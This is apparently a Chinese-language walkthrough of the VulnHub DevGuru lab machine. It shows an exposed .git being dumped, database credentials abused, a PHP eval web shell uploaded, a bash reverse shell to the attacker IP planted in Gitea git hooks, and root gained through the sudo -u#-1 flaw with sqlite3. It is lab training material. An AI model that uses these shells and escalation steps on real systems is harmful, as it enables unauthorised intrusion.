vulnhub-devguru(sudo提权)
环境准备:
靶机192.168.0.100
攻击机kali192.168.0.128
演示
使用nmap扫描全端口

首先访问80端口

信息收集发现访问/.git/config存在,使用githack获取源码


访问adminer.php,为一个mysql的登录界面。

查找配置文件,找到mysql登录密码。/config/database.php

登录数据库

查看users表,原先存在frank用户,密码为加密,手动添加账户,之后修改users_group表将id2分到group1组。

目录扫描得到登录界面backend

登录后上传shell

function onStart(){ //蚁剑连接 eval($_POST["pass"]); }
使用蚁剑连接,连接后发现为web权限

上传提权探测脚本,linenum,发现存在备份文件


存在另一个数据库账号密码,使用之前的数据访问界面登录

进入users表,查找网上资料,将别人加密好的密文拿到,123456,替换frank的密码,之后访问8585端,访问/admin登录

点击项目进入,在设置下git hooks中点击update后的修改

将反弹shell命令写入
bash -c "exec bash -i >& /dev/tcp/192.168.0.128/5555 0>&1"

保存后kali启动监听,在项目中任意修改文件并保存,即可拿到shell

首先使用sudo -l查看可以使用sudo提权的命令,在https://gtfobins.github.io/中搜索sqlite3

输入命令后发现提权失败,使用sudo的CVE进行提权
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
